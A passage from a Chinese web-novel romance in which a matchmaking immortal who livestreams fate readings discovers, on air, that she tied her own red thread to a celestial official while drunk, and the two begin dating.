“是啊,就是那个抠门鬼的宝贝盆栽。”文桐点头,“所以你懂它有多来之不易了吧?这都是亲妹妹对你的一片拳拳爱护之心啊!” “不会用词就去多读书。”文隽接过那片叶子,仔细打量了两眼。 叶片不大,脉络清晰,氤氲着碧绿的灵力,一看就不像是寻常物品。 被亲哥明嘲了错乱用词,文桐撇嘴:“嘁,你用不用吧就说。” 她说着,视线落到旁边的手机上,一挑眉。 文隽接收到她的意思,老神在在地含糊过去,权当做没看见,起身离开:“我回屋了,你慢慢吃。” 文桐:“哦,我~慢~慢~吃~~” “走好不送哦,等你好消息哦!最起码让她知道那件事啊——” 凡间。 莺芝和蝶仙盏仙的晚餐也到了尾声,两位小仙抢着干活把残局收拾干净,然后各自倒了一杯茶,捧上水杯,回到了各自该坐的位置,调好房间里的电视,等待起今晚直播的开启。 时间在忙碌中流逝得飞快,不消片刻,就已经到了直播的时间。 红线小人蹦蹦跶跶为莺芝点开直播,又从画面外溜走,和盏仙坐到了一块儿。 “观众朋友们大家好,我是小莺。” 莺芝今天穿了一条应景的红色长裙,头发上也带了吉利喜庆的饰品,整个人都洋溢着一种新春的喜气。 【来噜!】 【哈哈哈,今天的直播间bgm是央一啊,真的要陪我们看春晚?】 【女神你今天依旧很piu亮~】 【小莺我来啦!!】 …… 眼熟眼生的观众们一股脑涌进来,莺芝浏览着弹幕,大致地回应着:“新春快乐,谢谢,是的,一起看,欢迎,新年好——” 【[晚间生物]送出新春焰火x2】 【[晚间生物]送出新春焰火x1】 【[晚间生物]送出…… 炫目的礼物光效噼里啪啦炸开,在直播间里盛开了一场场灿烂的烟花。 “新春焰火”是春节限定礼物,和之前最高档礼物“盛世焰火”属于一个层次的,但特效中多了一些狮头孔明灯的花纹痕迹,更加符合当前的情景。 是粉丝榜前几的观众,平时很活跃,ID十分眼熟,莺芝唇畔含笑:“谢谢晚间生物的礼物,大家心意到了就好,不必破费。” 【晚间生物:不破费,应该的。春节限定礼物,别的主播都有了,小莺也要有】 【晚间生物:小莺新春快乐!】 【履行摸鱼职责:蛙趣晚间哥还是这么大气,这是发年终奖了吧?】 【履行摸鱼职责:我买不起大的,给小莺来点小压岁钱!】 【骂谁二次元呢:我也来了!!】 …… 【[履行摸鱼职责]送出新春仙女棒x9】 【[骂谁二次元呢]送出新春仙女棒x9】 【[一只浪迹瓜田的猹]送出…… …… 【[加班加到死]送出新春仙女棒x99】 【[加班加到死]送出新春焰火x9】 【[加班加到死]送出新春焰火x6】 【你到底说不说:啊?多少个?】 【你到底说不说:加班你不是个普通社畜吗??这么豪横?】 【加班加到死:嘻嘻(/得意)】 加班加到死,是文桐的ID。 她昨天还约莺芝来着,可惜一上去一下来至少也是一天的时间……为了抓住春节这一把大热度,莺芝到底没舍得回去,结果对方反倒是来直播间捧场了。 见她也来凑热闹,还跟其他观众们嘻嘻哈哈玩闹,莺芝又无奈又好笑: “谢谢文、加班加到死的礼物。晚上吃顿好的,犒劳一下辛苦的 自己。” 并不好直接在直播间里说“回去请你吃饭”之类的话,莺芝只能含糊着回应一下。 等之后回去,得空的时候,一定陪她好好玩玩。 【加班加到死:放心放心,在吃好的!】 【加班加到死:——还有,谁还没赶上趟的,动作快点啊,一会儿开始算卦主播就懒得理你了!】 【晚间生物:加班在喊谁?】 …… 【[不是文化人]送出新春焰火x66】 【…………啊?几个?】 【文哥,你不过年了?】 【纯路人,这就是富人们的世界吗?】 【我刚被卡出去了,什么情况?】 …… 莺芝:“……” 她之前的确不知道这个榜一是谁,只以为是个家境比较好的凡人。 但年终大会那时候,她从文桐的嘴里得知了这个榜一的身份……有种意料之外又意料之中的感觉。 一时心情之复杂,也难以简单概括。 现在再看文隽又这么豪掷千金……就算知道这点钱对一个文曲殿的副主事来说算不得什么,她也不由地有点心疼。 这么多钱,得花多少功德兑换啊—— 凡间的这个直播平台还要抽一部分走! 太没必要了啊!! 满屏灿烂的特效中,莺芝心底狂跳,肉痛。 “谢……谢谢这位观众,下次不要这样了,太浪费了。” 【哈哈哈小莺还是这么一副不爱钱的样子】 【别的主播:给我送礼物哦。小莺:不要给我送礼物了!】 【土豪哥,小莺不要你可以打给我,我要!】 【礼物送过去了没有啊啊今天的卦开始不?我今天运气好得很,一定能抽到!!】 …… 一波一波顶级礼物刷过,全平台播报了好几轮,接连不断,被这种热度吸引来直播间的路人观众们刚一进来,就被急速滚动的弹幕给惊到了,有些设备比较差的,进来还没站住脚,就又被层叠涌上的特效给卡了出去,可见此时直播间的火爆。 这等情况下,莺芝也不过多寒暄,招呼打过,礼物谢过,她便回到了工作状态: “好的,晚会还没有开始,那我们现在先开始今天的定缘——” “接下来,我会开启今晚第一次连线,有意向的观众请做好准备。” “3,2,……” 随着数字到1,开放的连线迅速被连接。 看清屏幕上弹窗提示的同时,莺芝微微一怔。 【[不是文化人]已加入直播连线】魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【全文完结】 第91章 姻缘 [不是文化人]…… 这次加入连线的,竟然是文隽? 按理来说,网速面前,仙凡平等,那么多观众呢,就算是神仙,也不能保证自己一定能抢到名额,但文隽竟然能从他们之中得到这唯一的一个名额……天庭的网速这么快? ……不不不,重点不是这个,重点是,文隽怎么也来凑热闹了。 是为了给自己捧场,意思意思点了一下,结果意料之外地真的连上了吗? 电光火石之间,莺芝的思绪已经转了好几个大圈,脑袋里飞快地闪过了一道道猜测。 与此同时,连线的加载结束,屏幕另一半成功载入了画面。 古色古香装潢的室内,一名年轻男性出现在镜头前,他气质斯文,带着浓浓的书卷气,红色系的衣服衬得本就偏白的面庞愈发面冠如玉。 而此时,他正随意地坐着,姿态却并不显懒散,反而有种闲适的悠然。 【我去,我去我去我去,这是哪里来的汉服大帅哥啊?】 【在除夕夜让我看到这样的优质品,是老天对我这一年辛苦的犒赏吗?明年我会继续努力工作的,阿门!】 【这位小哥哥的衣服颜色好像婚服诶,是来跟我结婚的吗?】 …… 【不对啊,朋友们,你们没人觉得这个人的ID很眼熟吗?】 最初的起哄过去,随着越来越多眼尖的观众指出,所有人都看到了新连线窗口上面的小字ID。 【……】 【??】 【文哥?这是我文哥?】 【榜一竟然不是膀大腰圆油头皮鞋的总裁大叔形象……我的三观】 【我文哥竟然是个这么清秀美丽的男孩子?!大学生吗??】 【别说……跟小莺放一起,这个屏幕对我的眼睛很好】 【他们像情侣装啊朋友们,你们不觉得吗】 【谁家大学生能那么有钱啊,还是个搞汉服的,家里肯定有矿】 …… 弹幕一片哄闹,吵吵嚷嚷地聊着,气氛热烈,莺芝却也没能立刻缓过神来。 她还有些怔愣地看着屏幕另一半。 印象中,文隽多是穿天庭的神官袍服,偶尔有穿其他样式的衣服或凡间服饰,也多是素雅色系的,总之很少有现在这种,嗯……艳丽?的时候。 原本像是青竹翠松的人,忽然开始一改往日习惯,开始染上暖色—— 还挺……嗯。 就是反差太大了,让莺芝都没能立刻反应过来。 总觉得有哪里怪怪的。 而且,在直播间看到熟人上麦…… “那什么,这位——” 她定了定神,调整好情绪,彻底进入工作状态:“这位观众你好,这里是定缘直播间,请问加入连线是想算些什么吗?” 观众们诧异。 都加入连线了,不是算卦的是来干嘛呢……榜一能不知道这是什么直播间吗?小莺怎么开始说没用的车轱辘话了。 然后,他们就看到,在小莺问出这句堪称是废话的废话之后,另一半屏幕里的[不是文化人]似乎是叹了口气,应该也对这纯废话有点无奈。 下一秒,他点了点头。 “是。” 莺芝脸上的微笑带着十分的职业礼仪: “想算点什么?” “姻缘。” 榜一大哥文隽不假思索回着,他看向莺芝:“请问能帮我算算姻缘吗?” 姻缘…… 记得刚认识那会儿,她好像还问过他需不需要帮忙牵线吧,明明那时候他说的没有心仪之人,不需要帮忙。 现在这是,有了? 莺芝停顿了片刻,才缓缓点了点头:“可以。你把资料和信息发给我吧——具体要算什么呢?” “算我的正缘在哪里,姻缘线另一端在何处。” “……好的。” 【是我感觉错了吗,我怎么觉得小莺态度有点奇怪啊】 【小莺?你也被美色迷惑了吗?现在谁还不知道你直播间是姻缘相关的,除了姻缘还能是什么啊,你还问啥子唷——】 【小莺奇怪+1,感觉她的几次发愣都很微妙】 【家人们,破案了,这位榜一,之前就在小莺直播间出现过啊!![链接]】 …… 【我擦,惠恩庙那次的小助理?竟然是他?!】 【难怪惠恩庙的时候文哥没出现在群里!】 【那我懂了,能理解了——他们是熟人,而且今天这一出肯定不是商量好的,小莺完全不知情,这么反常是因为太意外了!】 …… 【emmm我想说的是,熟人为什么不直接转账呢,非要送礼给平台抽成】 【小莺竟然都没给熟人算过卦?这一天三次还真是铁血规矩啊】 【我有个问题,他们是先成为熟人的,还是先成为榜一的?要是后者……榜二榜三,加油啊,你们也有机会!】 …… 等待连线观众发送信息给主播的空挡,直播间的弹幕区火爆异常。 莺芝则是看着社交平台上文隽的对话窗口,十分无奈。 文:文隽 文:生辰八字:—— 文:照片.jpg 看这人竟然一板一眼地认认真真发资料,还配了照片姓名,莺芝沉默地打字。 :…… :(/盯) :想观缘之前怎么不找我呀,直播间万一没抢到机会呢? 文:作为主播的榜一,要维护主播的规矩 文:好啦,资料够了吗? 莺芝:(/小鸟发呆) 莺芝:够。 【这哥笑什么呢,笑得 我心都乱了,专心给小莺发信息啊你!】 【文哥,趁小莺起卦,跟我们聊聊天呗,说说你咋跟小莺搭上关系的】 【能不能别花痴了,他来算姻缘,那肯定是有对象了啊】 【我也想知道咋跟小莺搭上关系的,教教?】 【他那算个毛球的关系,谁家搭上关系了还得来直播间抢卦的,明明就是陌生人,熟悉的陌生人哦~】 …… 顺手保存了莺芝的新表情包,文隽一抬头,就见弹幕上一些或熟悉或陌生的ID你一言我一语地在cue他。 其间还有文桐在上蹿下跳拱火嘲讽。 盯着“陌生人”仨字看了看,他脸上不自觉带出的笑容敛起,又差点被气得重新笑了出声。 给文桐记上了这一笔,文隽捻着效果发挥完毕、已经失去光泽的橘叶梗转了几赚,强作淡定地不去关注莺芝的动向,和弹幕互动着。 “不,我不是学生,已经毕业很多年了,是一名寻常社畜,12127。” “衣服不是定做的,街边摊买的,九块九一套。” “单身,未婚,没父母,有妹妹,有心上人。” “家里没矿,工位上有做不完的工作。” …… 指尖灵力流转间,莺芝听着熟悉的声音在耳畔做背景音,专注调动灵力,在广袤缘海中寻觅着文隽的缘线。 ——找到了! 莺芝双目微凝,定神去瞧。 之前面对面时感知过,他的缘线和自己的一样,也是很干净……咦? 和预想中完全不同的结果,莺芝眉心下意识蹙起,仔仔细细探查过后,神情之中也略带了几分惊疑不定。 和文隽还在插科打诨地观众们见状,顿时来了劲头。 也顾不上再跟这位满嘴跑火车的富二代大学生聊天,许多观众立刻转了话题开始刷屏。 【什么情况?有大瓜?】 【上一次见到小莺这么不妙的表情还是上一次】 【哈哈哈这个表情,绝对有瓜啊家人们!】 【我就说,世界上哪有那么多又有钱又有颜还有爱情和幸福的人,说吧,这位到底是家庭不幸还是婚姻不幸还是人品有问题?】 【竖起耳朵,搬来小板凳,前排兜售瓜子】 …… 【骂谁二次元呢:小莺姐姐你说话啊啊啊别沉默啊我害怕】 【履行摸鱼职责:文哥他到底是心上人另爱他人还是父母不幸又或者自己有好多女朋友……小莺你快说啊!】 【一只浪迹瓜田的猹:上一个翻车的是QAQ,这次难道轮到榜一了?不要啊!粉丝群的人都给我争气一点啊!!】 【你到底说不说:小莺的粉丝有翻车风险?补药啊】 【晚间生物:作为榜二我可以保证我是干净的】 …… 各式各样的讨论中,莺芝脸色变幻,迟迟没有开口。 处于话题风暴正中心的文隽却完全没有“被翻车”的自觉,仍然很坦荡地透过镜头看着另一边的莺芝,一副好整以暇的模样。 只不过屏幕之外,他的手指却微微攒了起来,手背青脉微显,把紧张全都攥进了手里。 弹幕区吵闹喧天,屏幕中的两人却双双安静,直播间里一片死寂。 终于,在弹幕的猜测已经快要离谱到“榜一爱上了自己亲妹妹吗”“还是同时爱上了十个八个男女都有啊”的地步时,莺芝表情松动了一下。 她迟疑着开口,语气中有一点她自己都没能察觉到的轻松。 而表现得最为明显、最为外在,谁都能察觉到的情绪,则是脸上那百思不得其解的困惑。 “你这红线的另一头……怎么是我?” 红线,是的,红线。 不是缘线,是红线。 她刚刚看到,文隽原本干干净净的缘线上,多出了一段被姻缘红线牵出来的缘—— 比所谓的“正缘”还要再高上一个层次的,由姻缘殿出品的红线、姻缘仙经手,真得不能再真的,彻头彻尾的[姻缘]。 文隽紧攥的手指微微松了些,他在心里舒了一口气,表情却没怎么变化,依旧是那副样子,只笃定地一点头。 “是啊。”他语气轻轻,随意之中,似乎又在叹息,“你自己绑上的。” 莺芝:“……” 【……????】 【s%*&gs@!#……】 【我嘞个大天……】 【握草啊……我听到什么了……这什么情况……】 …… 早在莺芝说出“你红线另一头是我”的时候,直播间就已经彻底炸开了锅。 不光是爱发弹幕的活跃人士们,连许多潜水吃瓜下饭的沉默观众都忍不住出来发了几个问号省略号。 【啥意思,主播的意思是,她跟这个男的是一对?】 【俩人认识,肯定是暧昧着吧?要不然咋可能发展到正缘】 【这是嘛呢?嘛呢?我就问你们,嘛呢?】 【新时代的秀恩爱手段?】 【小莺怎么一副完全不知情的样子啊?】 【文哥看起来也好委屈啊,到底啥情况?】 【俩人有过一段,但是女的忘了,男的还记得,所以这是找上门寻负责来了?】 …… 【你到底说不说:呃,难道是……小莺对文哥始乱终弃?】 【履行摸鱼职责:煮葱烩】 【骂谁二次元呢:……你们的想法太危险了吧。但是,单线条大直女x心机钓系男,家人们,这一对我先吃为敬!】 第92章 负责 她自己……绑上的? 莺芝被这个答案惊在原地,但却诡异地没有觉得太诧异,反而有种“果然是这样”的感觉。 从刚刚的观缘中就能看出来了,文隽缘线上那根红线,彻头彻尾的“月仙操办”。 能绑出这种效果的,除了她自己还有谁? 可是…… 什么时候呢? 哪怕知道时机不对,莺芝也很难不陷入沉思。 冥思苦想间,忽然有一个念头浮上脑海,她默了又默,突地生出了点近乎“茫然”的感觉。 不会是—— “想起来了吗?” 文隽的声音响起,莺芝抬眼,屏幕里,熟悉的人正用一种陌生的眼神看着她,没了平日里的散漫劲儿,语气幽幽。 不知道为什么,她莫名有点心虚。 “我……” 实话说,其实没太想起来。只是有个小小的猜测而已。 虽然主播职业素养很高,绝大多数时候都可以做到泰山崩于前而不变色,但是主播也没经历过这种事啊! 那什么,给异性朋友绑了红线牵自己的话……是要负责的吗?半责还是全责? 文隽垂眼:“没想起来的话,可以问问你的小助手。” 小助手? 不等莺芝看过来,一旁吃瓜的蝶仙盏仙就对视一眼,立刻把脑袋摇成了拨浪鼓。 不知道啊!! 我们是新来的,都不认识这位……呃,仙君?看房间摆设,应该是仙人吧? 两位新人不知情,于是乎,唯一可能是仙君口中那个“小助手”的—— 房间里三位仙子齐刷刷看向了桌面上,抱着自己手机的红线小人。 红线小人脖子一缩。 “我……我确实知道……” 眼见莺眼睛微微睁大,红线小人飞快举起手,做了个怼天发誓的动作。 “我保证老实交代,但是能不能先等直播结束……现在还在直播呢……” 莺芝一顿。 直播间里,观众们吃不全这个瓜,就差上蹿下跳抓耳挠腮了。 观众们看不到除了莺芝和文隽以外的人,但是能听到声音。 冷不丁听到画面之外的人说话,意识到这就是那位“小助手”,他们顿时又精神抖擞了起来。 【别啊,有啥直接说呗,大家都不是外人】 【为什么要等直播结束之后啊我也要听!!】 【我脑子里已经有8000字酒后乱情过后翻脸不认人的狗血小书了】 【小助理你就满足满足我们的好奇心吧啊啊啊】 【这明明就是这一卦的原委,这是直播里就应该说清楚的 ,为什么不在这里说,我一票否决了!】 …… 观众和粉丝们吵吵着,偏偏还说的有道理,一派“据理力争”的模样—— 本来嘛,前因后果也是“卦”的一部分啊? 你作为卦师算不出原委,那也不能拦着别人说啊。 不管不管,就是要听! 莺芝哑口无言。 无奈,她只能看向文隽,这次“卦”的正主。 “这位观众,你——”意下如何? 毕竟是他的卦。 【快,文哥,让她现在把事儿弄明白,给你一个交代!】 【兄弟这不是我说你了,机会都在眼前了还不赶紧顺杆上?】 …… 大家都开始起哄,撺掇文隽当场顺着话头应下,好让莺芝不得不正视。 却见文隽笑意浅浅,轻轻地摇了摇头:“我已经知道正缘在哪里了,这一卦已经可以结束了。” 弹幕上一茬接一茬的“切”中,莺芝松了口气。 “好的,那这一卦就到这里了。”她公事公办地宣布着,而后觑见文隽唇畔的小弧度,又忙补充道,“之后……嗯,我们的事等会儿再说。” “之后会联络你的。”莺芝清晰地表明着态度,她不是不愿意负责,就是暂时先忙工作,等会儿再说! 文隽一副习以为常的样子,配合地颔首:“好。” 【……不好!!我也想听】 【小莺太抠门了,你们的恋爱为什么不让我们旁观T-T】 【急急急急急我是急急国王……】 【榜一真是个怂货,这机会都抓不住】 【不逼迫不压力,选择权交给对方,好男人啊。对了小莺要是不要你可以来找我,我要】 …… 观众们的好奇心显然没有得到满足,几乎半数以上的消息都在嘀咕着抱怨,但是文隽还是施施然断开了连接,把屏幕重新交还给了莺芝自己。 莺芝咳嗽一声,无视大家不满的消息,无情工作机器一样推进着流程:“下一轮的连线权限即将开启,请有意向的观众做好准备——” “3、2、1——” “这位观众你好……” 观众们虽然嘴上说着不高兴不乐意,手上抢连线的动作却很诚实。 很快,下一位登场,除去一小部分人还在嘀咕主播不拿大家当自己人以外,多数人的注意力都开始被新登场的人和事转移走,进入到了围观下一件事的状态里。 又吃过了两轮过年回家相亲的瓜,三卦很快结束,时间也已经来到春节晚会的开始。 莺芝原想着跟大家道个歉,收回之前陪同看晚会节目的承诺,下线去处理自己的事,但看着弹幕上那些或眼熟或陌生的ID,到了嘴边的话在喉咙里过了一圈,还是咽了下去。 直播间就放着吧,给大家提供一个一起看节目的交流平台。 她自己请假暂离就好了。 做好了决定,莺芝也不再犹豫,当即对观众们道了句抱歉,离开了镜头范围。 她拎着红线小人,单独转去了阳台。 蝶仙盏仙对视一眼,很懂事地没跟上去,留在手机边上等着看凡间的晚会节目。 阳台。 莺芝把红线小人放到扶手沿上:“说吧。” 红线小人被自家上司放下,脚下打滑,短腿扑腾了几下才站稳,可怜巴巴抬头。 “月仙大人……实在不是我有意瞒您,是您……唉!” 莺芝诧异:“我?” “我……我怕您知道了之后无颜见人啊!” “?” 莺芝被它说得越发困惑,但不管怎么去回忆,都补不齐记忆中的那段空白—— 年终大会那天,她和文桐多喝了几杯,有点断片。 只记得自己是被文隽送回姻缘殿的,其他都做了什么,不太能想得起来。 “您那天一心想着业绩,都跑去要给灵池里的金鲤和乌龟牵红线了!” 莺芝:……啊? “——还是用我去牵!!”红线小人发出谴责,“要不是被文上仙阻止了,您现在就已经见不到我了!” 莺芝:“……” 莺芝:“抱歉。” “对了,”她一顿,“说起文隽,你也该说正事了吧。我和他……” “哦。”红线小人红豆眼眨巴眨巴,一点头,“其实也没什么,刚刚不是说了吗,您一心业绩。” 莺芝点头:“是,然后呢。” “然后?然后您看见文上仙,说他还没姻缘,就非要给他牵一个。” 莺芝嘴角一抽:“……然后呢?” “文上仙拒绝,说暂时不用,等以后有需要会来找您帮忙,可是您不依,非要立刻帮忙。” 莺芝:“……” “还说他身在福中不知福,明明有那么多工作可以做,完全不怕失业,还整天愁眉苦脸只想着偷懒叹气,现在连给您一个帮忙的机会都不肯,太可恶了。文上仙跟您道了好多歉。” “…………” “再然后,文上仙只能说自己没有心上人,没有可以牵线的对象,不能随意和其他仙人绑,祸害了人家。” 莺芝已经隐约猜到了什么:“所以……” “昂,所以您就说——‘无妨,绑给我就好了’。”红线小人给了肯定的答案。 “文上仙吓坏了,说这样不好,这也是对您的不负责,不能让您在不清醒的状况下做出这种事。” 莺芝眼波微动:“他……” “——他又被您责怪了!” 红线小人唏嘘:“您说他文曲殿的少爷不懂落后部门的疾苦,生死存亡之际,哪里还有那么多顾虑,姻缘殿上下都已经做好了为业绩付出一切的觉悟,自己完全无所谓。” “……”莺芝头都开始疼了。 就,就这么…… 太儿戏了吧? 但是别说,还真像自己能干出来的事…… 业绩的胡萝卜在前边钓着,她说什么也会拼一拼的。 “文上仙还是为难,说这样不好,想等您醒来再说,但是在他怕您摔倒扶您起来的时候,您不由分说直接就上红线了。” “您说,让他放心,说您一定会对他负责的。” 红线小人眨眼:“总之,文曲殿的少爷,身在福中不知福的文上仙就这么被您给强行绑了。” 莺芝闭上了眼。 酒,坏东西。 再也不喝了。 说的那都是什么话?! 什么不识疾苦,什么少爷……这种哪里来的乱七八糟的鬼话,让文隽听了要怎么想,人家明明一直在帮她。 但是那些先不提,眼下这个烂摊子—— 红线虽然不同于寻常的缘,但断缘剪依旧能够断。 可,能断是能断、…真的要断吗? 明明前脚跟人家说了负责,结果醒来就忘了,还任由人家再三地约,都只惦记着自己的工作,甚至连一句解释都没有……活脱脱就是一个不负责任的渣渣表现啊。 而且…… 黑夜中灯火霓虹闪烁,天上不时有烟花炸开,莺芝心中微微一软。 那么爱躲懒的人,要不是现在被禁足惩罚中,肯定要下来凑凑凡间的热闹,惩罚、嗯,也是因为她。 他对她,应该是有那个想法的。 屋内,晚会节目的笑闹哗啦啦响起,莺芝把眼巴巴表示“期待想看”的红线小人丢回去,只身站在阳台上,纷乱的思绪渐渐整理清晰。 她仔仔细细回忆了和文隽相识以来的点点滴滴。 舒适,轻松。 相处之中没有任何不愉快的地方,并且很多地方还拥有一定的默契。 以她上任姻缘仙这么久以来所见过的眷侣们来做比,能像他们这样的,基本都是天定之缘了。 ……天定之缘……吗。 叩问自己再三,确认了并没有排斥和对方发展一份缘的想法,莺芝轻轻呼出了一口气。 她拿出手机,打开通讯录,找到联系人。 拨出。 短促的一声响铃过后,电话被接了起来。 还在斟酌措辞的莺芝吓了一跳,忙把手机放到耳边。 “……咳,喂?” 没有预想中的沉默和尴尬,电话另一端,含笑的清润嗓音悠悠响起:“怎么不看晚会?” 直播间里没有她,只有空的沙发,可不就是没看么。 如常的语气让莺芝的心也跟着一松,她很诚实地道:“在问红线是怎么回事。” 话音刚落,莺芝清晰感受到对面的人呼吸一滞,都没立刻顾得上回话。 ……看来也不是表现的这么轻松嘛? 没由来地,她本来就不算差的心情忽然又拔高了很多,嘴角也微微翘了起来。 “这样啊,”文隽的声音在片刻后才重新响起,携着似是而非的试探,“那弄清楚了吗?” “清楚了。”莺芝道,略一停顿,她肃声开口,“——对不起。” 这一次,文隽的沉默持续了不短的时间。 而后,他 开口,还带着刚刚的笑意: “没关系,那……” “我明天会回去。”莺芝说道。 文隽又顿了顿:“……这么快吗?” “快吗?”莺芝疑惑,“我以为你会想要早些见到我。” 文隽无声叹息:“的确是想早些见到你。” 但也想红线多存在一会儿呀。 “那就好了,明天新年第一天,观众们估计也没时间看直播,我请一天假,让她们留守下边。” 莺芝语气轻快:“在这方面我没有经验,你应该也没有,所以我们一点点尝试吧?” “好的……嗯?”文隽一愣。 这是什么意思? 莺芝:“很抱歉我晚了这么久才来负责——我们先从试着约会开始吧?” 话题跳跃之大,文隽张了张嘴,一时竟然没能说出话来。平时工作中的机敏聪慧消失不见,他迟滞地反应了许久,才明白过来莺芝的意思。 “怎么不说话?我信号不好吗?喂?文隽?” 文隽沉默了一会儿:“为什么?” “什么为什么?”莺芝道,“你喜欢我,对吗?” “……对。” “你喜欢我,我又不讨厌你,嗯、也有点喜欢吧……咳、总之,我觉得可以试试,不想我对你负责了吗?” 意料之外的转折,带着莺芝风格的直白坦荡,文隽轻轻抽了口气,几乎要沉底的心脏忽地狂跳了起来。 “说话呀,不要约会的话我就继……” “要!” 莺芝被这应声的速度逗乐了:“好,那明天见。” 文隽也笑:“嗯,明天见。” 第93章 人间 七月初七。 某市居民广场。 夜晚的广场比白日里要热闹许多,没了白天里的闷燥之感,连空气中的暑热都被夜风吹散许多。 不少附近的居民都选择吃完饭来到这里乘凉。 但今天和往常不同,除了上了年纪的叔叔阿姨们,以及带着孩子们来遛弯的,人群之中多了许多年轻的面孔。 场地最中的大树下,支起了几座临时摊位,设有长长的桌椅,彩色灯带缠绕环绑,炫丽旖旎。 长桌后,两位穿着质地轻薄长裙的年轻女性各坐一方,黑发高绾,像是画中走出来的仕女。 她们面前桌面上摊开摆放着本子,上边密密麻麻记录着各类名字与信息。 不时有年轻男女聚堆凑过来,又有大爷大妈们领着年轻孙辈到来,仔仔细细跟其中一位说起个人资料,要求,心仪的类型等等。 另有男女搭伴而来,在另一位前边落座,甜蜜地诉说起愿望和心意。 ——相亲角,情侣桌。 这是今年七夕,月老定缘直播间举办的线下活动。 到场的人里,除了原本就爱来凑热闹的居民们,半数以上都是从外地赶来的,或和网友约定好了见面共游,或是期待着能在线下亲眼见一见那位网络上相当有名气的主播。 虽然活动在白天已经办过了,主播也亮过相,主持参与了全场,说好晚上是只有她的助理们在——但万一她突发奇想,想来给观众们一个惊喜呢? 人群之外,乔装改扮了一番的莺芝晃了晃脑袋上的高马尾,一身轻松地和同样短T长裤的文隽一起,暗中观察了一会儿盏仙蝶仙那边的情况。 看她一副放心不下后辈们独自出门闯荡的样子,文隽好笑地提了提牵在一起的手: “实在放心不下的话,可以留下。” 莺芝摇头:“不,说好了今晚我会休假,让她们自己负责活动的。”她拒绝得十分干脆,“都在底下几个月了,还处理不了这种场合的话,我就得重新评估她们的工作能力了。” “真是严格的上司啊。”文隽笑道。 莺芝瞥了他一眼,挑眉:“你要是姻缘殿的员工,我会让你知道什么是真正的严格。” “那还是不必了。”文隽诚心诚意道,“为了不影响工作,还是不要办公室恋情比较好,所以这个姻缘殿我就不去了。” 莺芝莞尔,没再跟他拌嘴,而是又看向盏仙蝶仙所在的摊位方向。 …… 年初时,凡间的春节年假过完后,莺芝从整天在上头挂直播间看凡间事的文隽文桐那里得了灵感,有了个新的想法。 既然在天庭能够看到凡间的直播,那为什么不能试一试直接在天庭进行直播呢? 天庭灵力充盈,若是在天庭直播的话,她一天可以放出远不止三卦的名额,更方便推广姻缘殿在凡间的影响力了。 从想法到实践,于莺芝而言,往往只需要片刻的时间。 询问过文隽,得知想要做这些只需要申请一份来自天庭许可证后,莺芝又问清楚了从何处办理相关业务,当即去申请开通了姻缘殿主事、也就是她本人的网络仙凡通道。 为此,她支付了很大一笔功德,肉疼了好一阵子。 不过这种难过在见到直播成效的时候就全然可以无视掉了。 初次尝试以姻缘殿的工位为背景直播,莺芝收到了意料之外的好评量。 观众们惊喜地发现她换了直播场地,并很满足于这种主播专心对待直播事业的态度,给予的反响也都十成十的好。 让观众们集体哗然,将直播间热度再送上一个高峰的,是莺芝公布了尝试将每天观缘机会翻倍的消息。 对观众和粉丝们来说,三次太少了,能多一些再好不过,最好一天十卦二十卦,哪怕自己还是抢不到,但最起码可以有更多的电子榨菜来下饭啊。 试运行完全没有出现问题,各方各面都很完美,于是,在一个风和日丽的日子,莺芝将直播的场所彻底转移到了姻缘殿中。 她每天在上边直播,处理工作,效率比在凡间时高了不止一倍,而像是之前妇女拐卖阴婚事件等需要去现场处理的,则就让留守凡间的盏仙蝶仙前去。 而且盏仙蝶仙为了转正成为天庭神君,可谓是为了工作绞尽脑汁,海绵似地汲取着凡间的一切知识,为直播间以及莺芝个人账号的运营提出了不少言之有物的提议。 莺芝偶尔也会接几个“合作”的邀约,与凡间的一些庙宇、景区,以及综艺等等进行联动,每每到了这时,她才会离开岗位,重新下凡,亲身参加合作。 值得一提的是,除去最初向她抛出过橄榄枝的x县警方,还有一些其他部门也试着和这位传说中的“正义使者”主播进行合作。 其中最合莺芝心意的,要数某地民政局发出的合作邀请—— 联合当地相关部门一起举办一个大型相亲会,为优质的单身男女们提供认识彼此的平台,一旦结缘,民政局就在不到一百米的地方,看看呢? 莺芝在这个合作上投入了相当一部分的精力,美滋滋促成了几对命中有缘的男女。 谁说她是离婚办的? 明明可以是结婚办的! 月老定缘直播间在如此种种手段措施之下,热度和粉丝数都平稳地上涨着。 莺芝也从一个普通的年轻人爱看的娱乐向主播,逐渐转变成了各个年龄段都爱看的接地系主播——还是有官方背书那种。 在年轻人越来越不愿意步入婚姻的当今,结婚率年年走低,能出现一位走心类提高结婚率的人才,远比嘴巴一张就是改然后引起逆反心理的所谓专家要强太多,官方自然是愿意给开绿灯的。 对于官方的示好,莺芝来者不拒,且越发卖力地为观众观缘,致力于让更多的人发自内心地感受到真情真心的美好。 这不,七夕在即,她身为网络上已经被无数人盖过戳的月老,肯定也是要来凑一凑热闹的。 一场大型的相亲会就这样办了起来。 白天时,莺芝作为主持和活动特邀嘉宾,几乎全程都在公众视野内,完全没有自己的时间。 终于得以“刑满释放”的文隽抽空下凡来,想着日子合适,来和自家这位工作狂仙子一起逛一逛玩一玩,结果刚落地,就被拉 了壮丁,给莺芝做了一天的助手—— 有他加入做辅助,一些原本很繁琐很琐碎的工作瞬间就变得平平无奇了起来,围观的蝶仙盏仙笔记都做了满满几大张,就等之后学以致用,提高自己的工作效率。 临近日落时,到场的游客们大都去吃饭了,莺芝也清闲了下来,没有犹豫,她把手中活计和记录本与蝶仙盏仙一交接,顺便把下来找她的文隽也领走了。 “这是我们之前就说好的,今天的活动我管白天,太阳一落,我就下班。” 主办方提供的更衣室内,莺芝换下繁复的长袍,穿上轻便的短袖,发髻拆散松开,扎成马尾,然后又和文隽一起,重返了广场。 文隽知道,她是有些放心不下两位小仙人。 虽然说了“下班”,但以她的脾性,的确很难下班。 所幸他早就知道她的性格,也并不觉得有什么,所以虽然有点不能两人游会的遗憾,却还是给出了一起回去“加班”的建议。 没想到被莺芝否决了。 广场外围,夜市的各类小摊已经扎起架子,来往的人们熙熙攘攘,聚集到广场来的人也复又开始变多,傍晚时分少许的冷清过后,属于人间夜的喧嚣也如约到来。 盏仙蝶仙两位面前又开始排起长队。 不远处,莺芝和文隽站在一起,眼睛牢牢盯着那边的方向,观察着两位小仙人的处事。 她给她们留下了红线小人,红线小人跟随她久了,有简单感知“缘”之好坏的能力,适合在这种场景下,协助两位新人进行工作。 